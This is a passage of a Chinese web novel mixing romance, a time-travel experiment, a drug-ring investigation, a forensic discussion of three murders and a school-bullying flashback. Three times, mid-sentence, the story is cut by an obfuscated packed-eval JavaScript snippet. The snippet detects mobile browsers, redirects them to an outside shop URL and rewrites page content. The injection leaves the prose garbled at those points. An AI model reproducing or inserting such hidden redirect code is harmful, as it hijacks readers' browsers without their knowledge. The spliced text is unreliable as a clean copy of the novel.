黎海诺几乎没见过宋挚露出这副模样,好奇心激增。 “快问啊!” 宋挚又犹豫了片刻,终于开口:“你会不会总有想咬人的冲动?” “啊?”黎海诺被这问题惊到,可转念一想,很快便明白过来,坏笑着问道:“你想咬的人……是你女朋友吧?” 宋挚眼神躲闪,极轻地“嗯”了一声。 见状,黎海诺走到宋挚身边,用力地拍拍他的后背,大笑道:“这很正常啊,你就是喜欢她呗~想咬她和咬死她又不是一回事,掌握好力度就行,那么纳闷干嘛?还以为自己生病了?” 他喜欢她? 不。 是他的身体喜欢她,仅此而已。 夜晚,宋挚回到了他的公寓。 今天是2023年6月21日,夏至。 夏天来了,难怪他变得愈加燥热难耐。 宋挚躺在沙发上,脑中不受控地播放他与雎安在酒店缠绵的画面,不论他是在打扫房间、运动、还是在看电影,那些画面总是会倏地跳出来,占据他的大脑。 没有被雎安推倒前,他尚且可以忍受,而今有了实实在在的记忆和体验,就到了忍无可忍的地步。 昨晚他们分别之际,雎安说了句“拜拜”,就头也不回地进了酒店。 之后的一整天,她都像消失了一样,一点声息都没有。他发消息问她整理的进展如何,她也没回。 忽冷忽热,忽近忽远。 说不定,她就是想让他焦灼难耐。 她在玩弄他。 说不定,她已经拿着钱准备离开华州、开启新生活了。 这样想着,他的眼眶发红,全身血脉喷张,脑中浮现了雎安无处可逃、动弹不得的画面。 而他,为所欲为。 89. 骗财、骗色、骗感情! 雎安越想越觉得奇怪,她和沈薇去寺庙那次,沈薇的心情不该如此轻松愉悦。 因为她知道沈薇暗恋多年的男生是金浩晨,而前不久,沈薇才得知金浩晨的女朋友是她的同事汤晴,而她知道后却没和沈薇分享。 以沈薇的个性,就算假装洒脱,刻意表现出不在意,也不可能这么自然。 雎安带着疑惑打开和沈薇的聊天框,思考该如何开口询问,可她想了许久,都没想出个所以然来。 于是,她索性打开了沈薇的朋友圈。 “心跳多久,我们多久。” 配图是一张十指紧扣的手,发布时间在这周一,也就是她们去完寺庙的后一天。 好吧,雎安可算明白了,原来沈薇是找到了真正喜欢的人,没再陷进暗恋中那种爱而不得的独角戏里。 雎安赶忙点了个迟到的赞,然后又返回聊天框,一连发了三条祝贺沈薇脱单的消息。 她知道沈薇是个对情绪价值需求很高的人,所以将消息里的祝福语气编辑得格外夸张。 很显然,这对沈薇非常受用。 她很快便回复了雎安的消息,而且还一通分享母单脱单的神奇过程,说追求她的男生是多么坚定地选择了她、以她为重、逗她开心。 此时,雎安都还在真心祝福她,直到沈薇分享了她和男友的合照...... 其实照片不太清晰,看得出拍摄者是刻意想拍出一种朦胧美的效果,但雎安还是凭借记忆,迅速认出这男人是经常出现在卢宇年身边的一个人。 她忘了男人的名字,便和沈薇打探。 沈薇:他叫李博勤,他的名字我也很喜欢,博学又勤快的意思。 雎安想象得到,沈薇打这行字时会是怎样的表情,嘴角肯定止不住地上扬,而她则恰恰相反,嘴角无意识地在往下压。 她猜想,沈薇染毒的原因,大概率和李博勤脱不了干系。 怎么办,她要提醒沈薇吗?怎么提醒?凭着一张嘴,无中生有? 她连自己的事都还没弄好呢,房子还没选定,父母还在不停地信息轰炸,有关未来的危机警报还在高响。 算了,等她有依据的时候,再尝试挑拨离间、拆散他们吧。 沈薇:对了,我听说你炒了公司鱿鱼,你怎么这么酷啊?! 沈薇的信息让雎安感到错愕。 她没和任何人分享过,沈薇怎么会知道? 沈薇:这么牛的事你居然不和我说!!我还是听男朋友讲,他朋友妈妈的公司里,有个女生超拽,不配合调岗就直接开骂,而且还骂了脾气超臭的卢排骨!!” 沈薇接着发送。 沈薇:我一问,那公司就是你工作的地方啊,然后听说叫什么安。绝了,肯定是你。 雎安挑眉,感恩起沈薇的个性来,不用她问,她就已全盘托出。但是,这也侧面反映出沈薇极易被人套话,防备心太弱。 雎安回复:“没错,是我(骄傲JPG),我最近忙着租房子,忙得焦头烂额,完全没时间吹嘘自己的战绩~ 沈薇:啊?!可你不是都没工作了吗?还要租房啊? 雎安:嗯,正在找。 沈薇:是和父母有矛盾? 雎安:对滴,我受不了。 沈薇:哎呀,忍忍算了,你都没工作了,租房花销很多的,可不单是房租。 雎安:嗯,我会看着来。 沈薇:对了,你那个叫汤晴的同事怎么样了?我看新闻,她们家的情况好吓人、好复杂啊。 雎安:看着还行,我最近就见过她一次,还是在我离职的时候。 沈薇:我看网上这么多人骂她,她就一个人去公司啊? 雎安:好像是一个人。 沈薇:啊?!没想到金浩晨也不怎么样,这么糟糕的情况,他居然不陪着女朋友。可能是我之前滤镜开太大了吧。 一时间,雎安不知道怎么回复。 沈薇:之前我觉得他好帅好体贴啊,现在想想,他就是个中央空调。可怜你的同事了~ 可再体贴,也不可能24小时都黏在汤晴身上吧。 雎安想了想,决定终止聊天。 倒不是因为沈薇对前暗恋对象的评价,而是她累了。 她明晰地感觉到自己和沈薇已经不同频了,所以,她和沈薇聊天格外消耗能量,上一次在蓉湖碰面也有这种感觉。 加上沈薇毒害她的事,在她的心中留下了很深的阴影,以至于她每次见到沈薇都精神紧绷。 毫无疑问,她该做决定了。 从现在开始,她要将沈薇视为敌人,高度防备,逐渐疏远,直至断交。 电话就是在这时候响起的。 来电人是宋教授。 他让雎安明早十点到华州大学,他、陈思雨和雎安先对一对最近获得的线索,然后又问雎安要不要在明天下午进行一场实验。 “从现在开始,要不要实验,什么时候实验都由你来定。” 宋教授的声音相当冷静,雎安能透过他的声音,想象出他严肃的表情。 “虽然,我也可以进装置和阿挚沟通,但我想,他更想见到的人是你。” 明天是2023年6月22日,端午节。 雎安不想一个人过节,恰巧最近收集的线索已经够多了,一次囤积太多的话,她怕和阿挚讲述的时候会遗漏关键点。 除此之外,她想他了。 而她,也不忍心玩弄宋挚的身体太久,是时候演一场戏给他看了。 “我明天下午就要实验了,你要过来吗?” 室内没有亮灯,宋挚在昏暗的环境里盯着这一行字,手机的灯光打在他的脸上,照亮了他潮红的脸颊。他的身侧都是未被及时清理的纸巾。 此刻,他的思绪如同打乱的毛球,一时半会儿根本理不清,连回复个“好”字都感到无力。 于是,他叹了口气,将手机扔到沙发上,起身去了浴室。 隔天早上,雎安打车抵达华州大学校门口的时候,终于收到了宋挚的回复。 他回了个“好”字。 雎安读完,伸手拦了辆校园小黄车,付完款后,便将手机收起。 宋挚的反应,比她想象得还要冷淡。 上午十点,雎安准时抵达。 实验小组全员已经在实验室里忙活了好一阵儿,宋教授将陈思雨叫了出来,雎安则在办公室等他们。接下来,他们便在宋教授的办公室里讨论了整个上午,不单是碳酸钡案件和毒品案的事,还有关于装置的设定。 毫无疑问,宋言林和陈思雨都没有放弃从装置入手这一选项,只是他们和宋挚不同,他们是打算改进装置到他们满意的理想状态为止。 “那看来,我和教授得到的信息是一样的。”雎安总结。 宋言林颔首,“没错,毕竟我们见到的都是2026年的阿挚。我还收到了2026年的我留下的笔记本,里边有一些有关于装置改进的建议。” “可是......如果按照未来的建议改进装置,那不就是按着既定的轨迹在走吗?” 雎安的这句话,让宋言林和陈思雨短暂一怔,旋即恍然大悟。 陈思雨没有出声,选择看向宋言林,宋言林则极为坚定地道:“你说得对,我们得另辟蹊径。” 中午,雎安在折叠床上睡了个安稳的午觉。 实验时间是下午两点,宋挚提前一个小时抵达实验室,但他在和雎安打了照面后,便开始和实验小组的人攀谈。雎安在他面前,仿佛就是个透明人。 说不失落、不难过,不过是自欺欺人。 雎安垂头丧气地坐在角落里查看中介发来的房源信息,可这些信息就如同耳旁风,根本不入脑。 实验前十分钟,陈思雨走到雎安身边,将她拉到走廊上,轻声安慰道:“别难过了,他刚刚一直在和我们确认装置的安全性。还假装若无其事地问我们,要是实验期间有异常,我们能不能及时发现,然后用上次的电击法将你唤醒。” 陈思雨的安慰很有用,雎安在进装置时,情绪明显没有那么低落。 舱门关闭前,雎安抬眸,朝宋挚的方向看去。这次,他没有像以往那般直勾勾地看着她,而是垂眸看着地面,眼中的情绪仿佛是......不忍? 下午五点,雎安被陈思雨和宋言林强制唤醒,比预计的结束时间提前了一个小时。 宋挚听到声响,看着陈思雨他们的动作,顿在原地,动弹不得。 他们说,雎安晕过去了。 宋挚瞬间感觉身体被冻住了,手指轻微打颤,浑身上下都冷得直冒寒气。而他,却不清楚自己此刻到底是什么心情。 如果雎安出事了,就是他害的。 而他害了人,难免会有如坠冰窖的负罪感,对吧? 十分钟后,雎安醒了。 宋教授上前询问,她说自己头晕,想要再休息休息。 宋挚始终没有上前,只是静静地站在一旁,脸色奇差。 雎安想,宋教授他们配合得如此完美,她的戏也还不错。即便宋挚得知他的这次计划没能成功挽救母亲,应该也不会苛责她,毕竟她也努力了。 至于她和宋挚的缘分,能延续是意外之喜,不能的话......她也有150万,没什么遗憾了。 雎安接着演戏,在躺椅上躺着装晕休息。然而,因为她的头根本就不晕,在这么多人面上演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631688|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半小时的戏,难受得她宁愿再进一次装置。 真的,进装置的眩晕感比这舒服多了。 半小时后,雎安慢慢起身,宋教授一脸凝重地看着她,高声让陈思雨将她扶到他的办公室里坐会儿,他说他有话要问雎安。 闻言,雎安抬眸,下意识地看向宋挚,她透过他的眼睛,能感知到他思绪的混乱和情感的无助。 得知挽救母亲失败,还害得她身体不适,他此刻一定很难受、很内疚吧? 办公室里,雎安被宋言林和陈思雨投喂了一堆零食饮料,他们说以免雎安消耗过大、缺少能量、犯低血糖。 雎安莞尔一笑,坦然接受好意,一边吃一边和他们说起装置的事,准备下一步在现实中的行动。 半个小时后,雎安一行人从办公室里走了出来,宋挚第一时间迎上来,说要开车送雎安回家。 “对不起。” 车上,雎安和宋挚道歉。 “我没能成功。” 宋挚目视前方,表情淡淡的,看不出喜怒,“你现在感觉怎么样了?” 他居然……先是关心她。 因为内疚,雎安如鲠在喉,片刻后,才应道:“还不错,没什么不舒服的。” 夜晚六点半。 宋挚驱车,在空旷的车道上疾驰。 她和他,又一次看了日落黄昏。但这次和上次不同,上次是雨后黄昏,唯美而梦幻。今天是晴日黄昏,一片橙黄、明亮而美好。 雎安看着窗外的那颗闪着金光的“咸蛋黄”,有将它一口吞掉的冲动。 她意识到,此刻的她的心,过于雀跃了。 “一定还有办法的。”雎安表现出担忧,安慰道:“只要我们不丧失信心,一定找到突破口。” 宋挚没接她的话。 “再不济……我也一定会把杀害阿姨的真凶给揪出来。” 这回,宋挚牵强地笑笑,说了声好。 之后,雎安便不再随意搭话,她能感受到宋挚的情绪不高、应该是还没从失落的情绪里走出来。 也对,换作她,也不可能那么快就平静下来。 她打开窗,看着街景,静静地感受风吹拂过脸颊的感觉。 直到……她发现宋挚行进的路线很奇怪,他们的车一直在没什么人的大道上疾驰,迟迟没有进入市中心,反而到了一个她完全不认识的地方。 “我们这是去哪?”雎安疑惑。 宋挚笑笑,“待会儿你就知道了。” 这是一个偏僻的小公园,目之所及,只有她和宋挚两个人。 夜晚七点。 天色大暗,公园里亮起了昏黄的路灯,可路灯的覆盖率并不够,仍有一大片区域是昏暗的。 雎安下车的动作愈加迟疑,眼前的景色阴森森的,让她不自觉地咽了口唾沫。 这里,像是杀人抛尸的好地方。 她还是下了车,却没有走远,而是站在车边,踌躇不前。 “怎么不过来?”宋挚回头,柔声问道。 雎安却觉得不对,这种预感越来越强烈,让她不加思考地果断摇头,“我想回家。” 即便是宋挚,即便她确信他人品贵重,但她拿不准他此刻的状态。 她就是没办法说服自己,哪怕是黑暗与死亡,也能义无反顾地走到他身边去。 “也好。”宋挚回身,从黑暗处向她走来,停在了她面前,“我们就在这聊。” 她和他的距离如此得近,让雎安紧张得又往后挪了两步,谁知宋挚竟随着他的脚步向前,将她逼到了车身上。 “你竟然敢骗我!”他俯身,咬牙切齿地控诉。 雎安微张着嘴,彻底慌了神,慌不择路地反驳道:“我没有!” “你敢再说一次,你没有?” 宋挚倾身,将她逼得退无可退,她无路可逃,只能用手不停摩挲车身、寻求支点。 “你就是个不要脸的骗子!” 她骗财、骗色、骗感情! 她拿着150万,不满足,还将他推倒后吃干抹净,而这都不算什么。他是那么的期待这世上有逆转生命的奇迹,那么的愧疚、担心、害怕她会因此出事。 结果呢? 她根本就是在耍他! 宋挚的话,让雎安感觉到自己的脑子瞬间炸开了。她无力去想他为什么会知道她骗人的事,因为她已经丧失了思考的能力,如同那被扔到岸上的鱼,涓涓细流就在身旁,而她不断地努力挪动身体,却只能听到水声,感受到干燥,不能得以自在。 “呜~” 她吃痛地发出低鸣,却被霸道地吞并。 是血腥味。 她的嘴唇被咬破了! 90. 外力导致的机械性窒息 “我觉得,制毒地点基本就锁定在工厂宿舍附近的这片区域。” 在宋挚事先准备好的地图上,雎安画了一个圈。 “你放心,你告诉我的那些线索、参观工厂时发现的异样,还有这个线索我都告诉周浮沉了。”雎安笑着凑近宋挚,“我把他约出来,以最最自然的方式把线索给了他。怎么样?我可没有乱来。” “单独见面?”宋挚问。 “嗯!”雎安用力点头,没心没肺地笑。 “聊得挺愉快的吧?”见状,宋挚轻嗤一声,右手轻轻捏住雎安的下巴,“还单独约他出来。” “那不然呢?”雎安被他的动作吓了一跳,抓住他的手腕,但嘴上仍是不服,“难道打电话给你,让你帮我约人吗?” 也是,以现实中宋挚那态度,可能只会觉得雎安莫名其妙,连醋都不会吃。 “就不能在线上说?”即便如此,宋挚还是没有放手,而是伸出邪恶的手,像对待婴儿的脸庞一样左揉右捏。 他们身处在一间空无一人的教室里,可这毕竟是公共场合,在意识到他们的互动如此亲昵时,雎安的脸倏地发热。 “别~”她整个人向后缩,试图避开宋挚,“我……不习惯。” 她本以为,极有分寸的他会知趣地收回手,谁知他竟反抓她的手腕,向前一拉,轻而易举地将她圈进怀中。 雎安僵住,连呼吸都忘了。 “你不是都把我吃干抹净了吗?” 宋挚的声音带着笑意,从她的头顶传来。 她紧贴着他,抬眸,便看到了他滚动的喉结。 “怎么?打退堂鼓,没做?” 好一会儿,直到雎安感觉心跳不似在耳边跳动了,才道:“做了。” 她的声音去蝼蚁唱歌般,低得宋挚以为自己幻听了。 他低笑一声,手指轻轻拂过她的脸颊,将她的额前碎发向后挽,“这么棒啊~” 什么啊?! 雎安第一次恋爱,这种被人拿捏着调戏的感觉,羞得她几近窒息。 没错,这比她扑倒宋挚时还要刺激她的神经。 “我是什么反应?你喜欢吗?”宋挚饶有兴致地观察她的表情,“我还没被你扑倒过呢~都是我主动。” 这次,雎安在他的声音里听出了委屈和不满。 大脑缺氧的感觉让雎安承受不住,她握住宋挚的骨节分明的手指,似在求饶,“别说了~我都怕以后他知道我骗他的话,该怎么……” “不用怕。”宋挚的声音清亮了几分,终于不再那么粘腻,“也不用愧疚。” “你在拯救我,真的。” “我记得很清楚,2023年6月份前后,我得知了装置无法挽救母亲的真相,觉得心灰意冷,出门还听到那些表面对我赞赏有加的人在背地里议论我不学无术。后来,我随手做了件好事,又被人挂到网上审判。” “我没有游戏人间的豁达,又没有追求目标的野心。那时候,我觉得人生真没意思。” 话音未落,雎安握住他的手越收越紧,抬头看向他,眼睛里透着说不尽的担忧和心痛。 宋挚笑了笑,右手轻轻拍打她的背部,以示安慰:“没事,是之前了。” “难怪宋教授一直说救不回阿姨,却又敷衍宋挚,不给他具体的解释。”雎安一下明白过来,“原来……是想给他希望。” “没错,这是我的提议。”宋挚垂眸,柔和的目光逐渐变得凌厉,“只是,我没想到碳酸钡中毒案件另有隐情,竟然可能和毒品案有牵扯。甚至,真凶很有可能就是为了毒品而杀人灭口的。” “说实话,我也很意外。”雎安眉心微动,“我以为你会知道碳酸钡中毒案的真凶是谁。” 宋挚蹙了蹙眉心,“还有李豫寄快递和死亡的事,这都是没发生过的。我知道的,是李博勤和金浩晨在那场撞车事故里死亡,反倒是李豫活了下来。很有可能是因为进入装置的这个行为,改变了你和宋教授在现实中的选择,各种事件作用在一起,事情发展的轨迹也就不同了。” “没错……”雎安若有所思,“还有你和我说的,关于毒品是用减肥药原料提取的那件事。要不是雨姐加入了我和宋教授的调查队伍,我都没想到这事和雨姐的妈妈有关,而雨姐的妈妈就是减肥药的研究员,也是被碳酸钡毒害的。” 宋挚眉头紧锁,“是啊,以此推测的话,真的很难不让人觉得碳酸钡中毒案就是为了灭口。” “嗯,要不……你回想回想,阿姨有没有和你说过什么奇怪的事?”雎安问。 话音刚落,宋挚不加思索地摇头,“我爸妈有烦恼或者是遇到了什么困难,都是向对方倾诉和求助,除非是长辈生病那样的大事,否则,他们不会把一些不好的事分享给我。” “这样啊……” 雎安从小到大听了父母太多的抱怨,他们乐衷于在她面前刷存在感,让她清楚地知道他们的艰辛和受到的不公。 以至于她的潜意识里,默认了孩子就要承接父母的情绪。 “安安?”见雎安愣神,宋挚轻挑眉尾,探耳向前,“你怎么了?” 话语间,雎安逐渐习惯了与宋挚的亲密接触,不是那种突然靠近的脸红心跳,而是自然流露的喜悦和自然。 她不得不感叹,她适应得真快。 “没什么,就是惊叹于张风竟然能用减肥药的原料来制造新毒品。” 雎安撒谎了,却也没撒谎。 与她而言,张风在她眼里,就是个圆滑周到的商人,谁能想到他竟是个化学方面的天才,还很有毅力和决心,没有条件就自己创造条件。 很可惜,就是没用在正道上。 宋挚之前告诉她,张风首次研究成功后,因为毒品是淡黄色的,看着很低端,被市场排斥。他就一边到华州大学请教杜崇礼教授、精进学习,一边在背地里动手实操,还寻找到了减肥药原料的平替,以确保减肥药作为障眼法能顺利起效。 “这点很关键,要是以此为落点,找到了实证,就能把张风制毒的事和安娜维诺公司绑定在一起。只等毒品被缴,公司被查,卢宇年没了保护伞,也就构不成太大的威胁了。” 雎安蓦地沉肩,感叹道:“只可惜,我不能直接告诉周浮沉,只能在他面前不断强调雨姐妈妈的事。话说,那毒品的量那么吓人,这减肥药的原料需求肯定不少,应该很好查吧?” “嗯,一定会很顺利的。” 眨眼间,宋挚在雎安的眉间落下了一个轻浅的吻。 ———————— 校外出现的三具尸体,根据尸体腐烂的程度判断,法医认定是在发现尸体前两天被杀害的。也就是说,那并不是埋葬已久的尸体,更不是时间久远的疑案,而是最近才发生的恶性凶杀案。 “死者都是男性,都是18岁。尸体被发现的时间是2017年9月8号中午十二点左右,死亡时间都是在9月5号下午五到七点,不过最近天气太热,会加快尸体腐蚀的进程,也有可能是在5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644064|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号午间就被杀害了。总之,是在5号晚上19点前遇害的。” 王屹和邓庆生认真听完后,看了彼此一眼,王屹追问道:“死亡时间能再确切些吗?” 刘定鑫放在手里的仪器,冷冷道:“不能。” “那死因呢?”邓庆生眉眼笑笑的,丝毫不受刘定鑫冷脸的影响。 “都是窒息死。”刘定鑫也不说废话,站起身,到事先做好的演示图前,“死者眼脸部淤血浮肿,脖子上出现了大面积的红斑点,气管中有气泡,气管黏膜继和肺部均有淤血,这都是外力导致的机械性窒息的明显特征。” “但是他们颈部都没有勒痕啊。”邓庆生说出自己的疑惑,“难道是下药以后捂死的?” 刘定鑫否认他的猜想,“不可能,他们体内都没有检出任何的药物,也没有醉酒,没有吸毒。而且根本不用这么麻烦,他们的手脚处都有明显的绳索勒痕,绑好后捂死就行了。这样很保险,被害人不能乱动乱抓,就很难留下更多的痕迹。嫌犯也不用和他有身体搏斗,更不用被溅一身血,也能尽量避免在被害人身上留下指向自己的证据和线索。” “惯犯?亦或是同行?”邓庆生追问道。 王屹首先否定,“不至于,倒不用这么多的经验和知识。这种杀人方案,半路把人绑了扔上车,捂死就行了。” “这不太可能。”刘定鑫摇头,指着被害人的手部特写照,解释道:“他们的手脚处都没有过度挣扎的痕迹,要是在有防备的情况下被绑的,勒痕不会这么规整。” “能同时让三个成年男性放下防备,而且成功将他们绑起来并捂死,身上还不能出现明显的挣扎痕迹。”王屹双手交叉于胸前,倚靠在墙边,垂眸分析道,“那大概率是熟人作案了。” “可能性很大。” 刘定鑫听到和她心意的话语,点头的幅度都大了些,“而且对方应该不是脑袋空空的人,至少是留心学习过相关知识的,因为他规避掉了很多留存痕迹的可能,我们在现场和死者身上发现的物证和得到的信息都非常得少。” 说到这,邓庆生回想起埋尸的环境,以及附近的情况,不由地补充道:“而且对方肯定很熟那一边。最近几个月华州财经大学在那建新校区,还有一家大型商超在施工,加上附近本来就有个化妆品工厂。这十几天还是学校开学,来来回回的人流量可不小,要是没有把握不被人撞见,怎么敢在马路边埋尸。” 王屹颔首,明显是赞同他的观点,“而且,他一定得知道那片地在短时间内都不会被开发,不然的话,就白忙活了。” “没错。” 邓庆生刚要接下去说,就被刘定鑫冷酷地打断。她朝着不远处的解剖室,昂了昂下巴,道:“请问二位,我能先走了吗?那还有一堆工作等着我。” “好,你先去忙吧。”王屹拍拍邓庆生,示意他两该离开这了,再朝刘定鑫点头致谢,“我们也要去查明死者身份了。谢谢刘法医,辛苦了。” “不用。” 刘定鑫没多说什么,转身就朝解剖室去了。目送她离开,一直到确认她走远,邓庆生才长舒一口气,好似才缓过来,“刘法医身上的味儿也太冲了。” “没办法,最近天气这么热,那三具尸体又在黏腻潮湿的土里埋了几天,他们解剖的时候估计更受不了。” “唉,也是。那味儿估计洗都洗不掉,得臭个一两天。” 说着,电梯响起叮的一声,邓庆生和王屹转身,快步踏进电梯,消失在了走廊尽头。 91. 挺身而出的少女。 “不想看就别看了。”宋挚目露担忧,宽大的手掌轻抚着雎安的头,“不用有任何负担。” 宋挚和雎安相遇的时候,雎安的父母已经离世。那时,她偶尔谈论起她的父母,每次都会露出格外神伤的表情。宋挚虽然听她说过一些事,但如此真切地感受到她的无助和难说,还是在装置里,她父母来警局的那次。 2017年9月15日,星期五,二楼食堂的角落里。 毫无疑问,雎安不打算回家,而她相信,她那异常敏感的母亲察觉到了她的想法。于是,一大早便发了十几条语音,还附带了好几张图片。 其中,有一张图片是拍了满桌子的菜。 这是纪小梅惯常用的套路,给她一巴掌后,又给她一颗甜枣。如果她不接,就是她不知好歹,必定会遭到指责和谩骂。 “就说有个黑毛小子带坏了你,把你给拐跑了。”宋挚笑着,假意去夺雎安的手机,希望能以此玩笑来缓和她低落的情绪。 雎安似笑非笑,反倒安慰起宋挚来,“我没事,你放心吧。我想开了,已经不再纠结和痛苦我的父母为什么会那样对我。” 说着,雎安滑动屏幕,没有去听和翻译任何一条语音,只粗略地看了眼图片。 一张陈旧照片就这么进入了她的视线,吸引了她的注意。 这张照片是在一个相册里摆放着的,边框还有纪小梅入镜的手指,背景是在初中校园的操场上,她身穿初中校服,站在操场中央比耶、笑得极其灿烂,而这都不是重点。 重点是她身后有一个右手打着石膏的男同学,可能是听到了什么声响,他回身看向镜头,正好与她合影了。 而这名男同学,是卢宇年。 雎安赶忙往上滑,因为实在不想听到父母的声音,她使用了“语音转文字”的功能。 “我刚刚打扫清理的时候翻到了你的初中相册,打开一看,好巧哦~你有印象没?这不就是我们送你去学校那天,碰到的那个男同学吗?他是你初中同学,你们还合过影。” 要说对卢宇年现在的模样没有印象,那么这张照片中他的形象、他带给人的感觉,以及这极其熟悉的背景,一下便勾起了雎安尘封的回忆。 “妈,麻烦你把这相册你完整拍给我,谢谢!!” 从上回离开装置的时候,雎安就已经想明白了,要是想摆脱原有的命运,除去要和消耗她的人和事划清界限,同时,她更要不被世俗和情绪所控,大胆地利用身边所有的资源。 发完,她还发了几个比心的表情包,好似不愉快的事从未发生过般。 “你怎么了?”宋挚坐在雎安的左侧,并没有注意到照片的异样,对她的突然转变感到诧异。 然而,他话音未落,雎安的左手一把拍在宋挚大腿上,力度不轻,促使他浑身猛地一颤。 “我好像知道卢宇年为什么会盯上我了!” ———————— 春阳晚照,被金黄色环抱的课室里只有寥寥几人。因此,本该引人瞩目的倒地声并没能吸引多少人的注意。 卢宇年是自己滑倒的,明明身着崭新的校服,鞋子也是蹭亮的名牌最新款,格外瘦削的身躯在灰白色的水磨石映衬下,却显得尤为可怜。 雎安正在课室里画板报,只粗略地往外看了一眼,便收回视线,继续做手头上的事。 顷刻间,人群的嬉闹声响起,雎安还以为一下来了十几个人,定睛一看,又是那个闹心的三人小分队。 黎正,黎从新,李云宇。 黎正抓着一只脏脏的小猫,黎从新在一旁做猫抓人动作,而李云宇则是笑着跑向卢宇年。 “抱歉,抱歉,我是不小心的。”李云宇笑嘻嘻地道歉,没什么诚意,但看着也无恶意,不像是故意的。 雎安想起今天的卫生小组里有李云宇的名字,但却没看到他人,猜想他又是溜去打球了。 好啊,他又不干活,到时候班级卫生不及格,被班主任追责的还是她。 “李云宇!” “今天是你值日,你去哪了?” 雎安将手里的粉笔扔在讲台上,气势汹汹走出教室,看到在地上还未起身的卢宇年,明显一愣。 卢宇年面带惊恐地仰着头,好似见鬼般回不过神,雎安都走到他身边了,他都无甚感觉,只一个劲地往后退。 雎安既好奇又害怕,顺着他的视线看去,发现他看的是黎正手中的猫。 只是,黎正抓猫的姿态实在是不好看,一点也不温柔,像是要把猫送上断头台一样。由此,白猫开张嘴,露出了极具攻击性的表情和尖锐的牙齿,一副要冲上前扑咬的架势。 这时,雎安的耳边响起了李云宇贱兮兮的声音。 “哟,班长,你还在课室啊?那你顺手扫了不就好了。” “这猫是你们养的?”雎安冷着脸,轻微发颤的声音里,气愤的情绪巨多,但里头也有一些害怕的成分。 黎正还在笑,将猫往前送了送,“不,这是路边的野猫,怪凶的。你看,卢排骨吓得呀~” 闻言,雎安的视线再次落在卢宇年身上。 他面色如土,眼睛瞪得浑圆,额前都是细汗,僵住的身体里只有腿脚在木然地往后瞪,带着整个人往后退。 雎安不解,他竟然这么害怕?!那直接站起来离开,不就行了? “等等!” “你不要动!!” 卢宇年还没回过神,就因失去平衡而倒进了一个怀抱,鼻腔里都是某品牌烂大街的洗发水香气。 以往,他一点都不喜欢这种烂大街的香气,觉得又俗又难闻,当下却意外得喜欢。因为他从中气味中闻出了安心、闻出了难以言喻的宽慰感。 “你们.......在干嘛?”黎正不可置信地看着眼前的场景,黎从新和李云宇更没反应过来。 邹雎安不是三好学生吗?怎么敢当着他们的面和卢排骨卿卿我我啊?! “我倒是想问你们,你们在干嘛?”雎安松开卢宇年,看他没坐稳,还扶了一把,才指着不远处的大钉子,铿锵有力地质问道:“卢宇年看不到,你们难道看不到吗?” 银白色的钉子被黄昏的日光照耀,反射出温馨的暖黄色光,看着人畜无害、毫无威胁。 可刚刚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653430|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这枚钉子,差一点穿掌而过,给一个14岁的少年留下身体和心理上的双重伤害! “还有,黎正你这样抓猫,它很难受的。” 说罢,雎安略过卢宇年盯着她看的目光,注意到他头侧的印子以及李云宇手中的篮球。 “刚刚一个篮球飞过来,差点砸到玻璃窗的始作俑者是你吧,李云宇。”雎安念名字时语速格外慢,气势十足,“你们现在,该回家的回家,该打扫的打扫。今天这件事,我就不告诉老师了。” 李云宇终于回过神,格外气恼,“死班长,我们又不是故意的,就是想逗逗卢排骨,谁知道他会趴在地上不起来啊,和乌龟一样。” 黎从新附和:“就是!你那么爱告诉老师,就去告呗~就算调监控也无所谓,我们又不是拿着钉子要扎他的手。” 可谁又知道,是不是就是因为不是有心迫害,所以才更加有恃无恐呢? “算了,我不想被叫家长。”黎正放下猫,任由它奔向雎安,“班长你这样污蔑人,真的很让人讨厌。” 雎安被扑过来的猫吓到,险些失声尖叫,可只有几秒的错愕,她便反应过来,选择摆出一副极其凶恶的表情将猫吓跑。 “就是,整得你英雄救美似的。你该不会.......是喜欢卢排骨吧?哈哈哈哈~”黎从新又附和起来,笑声肆虐。 黎正的表情有些古怪,李云宇倒格外有兴致,扬唇一笑,面上是掩藏不住的得意,“你把这个也告诉老师啊,我们来告诉班里的人。” 雎安泠然道:“去说吧。” 闻言,卢宇年猛地抬头去看雎安,眼中满是不可置信。 “你们在校外骑死飞的事,我也会如实告知老师。至于老师会怎么处理,你们心里有数吧。”雎安轻挑眉尾,勾唇笑着,语气满含挑衅。 三人的脸色骤然变黑。 谁都知道上个月有学生在校外骑死飞出事,现在学校和家长对死飞都格外敏感,一再告诫绝不可骑! 一旦被抓到,可不止是请家长,还得通报批评、记过处分。 “你敢?死八婆!” 